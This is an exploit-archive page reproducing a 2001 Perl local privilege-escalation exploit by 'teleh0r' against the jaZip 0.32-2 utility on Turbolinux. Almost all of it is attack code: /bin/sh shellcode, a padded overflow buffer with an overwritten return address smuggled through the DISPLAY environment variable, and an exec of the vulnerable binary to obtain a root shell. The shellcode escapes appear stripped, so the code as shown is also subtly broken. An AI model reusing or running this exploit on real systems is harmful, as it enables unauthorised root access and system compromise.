[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : jaZip 0.32-2 Local Buffer Overflow Exploit
# Published : 2001-01-25
# Author : teleh0r
# Previous Title : BSD and Linux lpr Command Local Root Exploit
# Next Title : Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit


#!/usr/bin/perl

## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
## <teleh0r@doglover.com> ||  http://teleh0r.cjb.net/ 
## Vulnerable: Turbolinux 6.0
##
## [teleh0r@localhost teleh0r]$ rpm -q jaZip
## jaZip-0.32-2
## [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
## Address: 0xbffff7ac
## bash#


$shellcode =                     # Shellcode by: Taeho Oh
    "xebx1f".                  #/* jmp 0x1f              */
    "x5e".                      #/* popl %esi             */
    "x89x76x08".              #/* movl %esi,0x8(%esi)   */
    "x31xc0".                  #/* xorl %eax,%eax        */
    "x88x46x07".              #/* movb %eax,0x7(%esi)   */
    "x89x46x0c".              #/* movl %eax,0xc(%esi)   */
    "xb0x0b".                  #/* movb $0xb,%al         */
    "x89xf3".                  #/* movl %esi,%ebx        */
    "x8dx4ex08".              #/* leal 0x8(%esi),%ecx   */
    "x8dx56x0c".              #/* leal 0xc(%esi),%edx   */
    "xcdx80".                  #/* int $0x80             */
    "x31xdb".                  #/* xorl %ebx,%ebx        */
    "x89xd8".                  #/* movl %ebx,%eax        */
    "x40".                      #/* inc %eax              */
    "xcdx80".                  #/* int $0x80             */
    "xe8xdcxffxffxff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string "/bin/sh"   */


$ret = 0xbffff7ac;  # May have to be modified.
$len = 2100;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "n");
$new_ret = pack('l',($ret + $offset));
$buffer .= $nop x 3; # May have to be modified / 5 for Debian.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

if ($ENV{'DISPLAY'}) {
    delete($ENV{'DISPLAY'});
}

local($ENV{'DISPLAY'}) = $buffer;
exec("/usr/X11R6/bin/jazip");


# www.Syue.com [2001-01-25]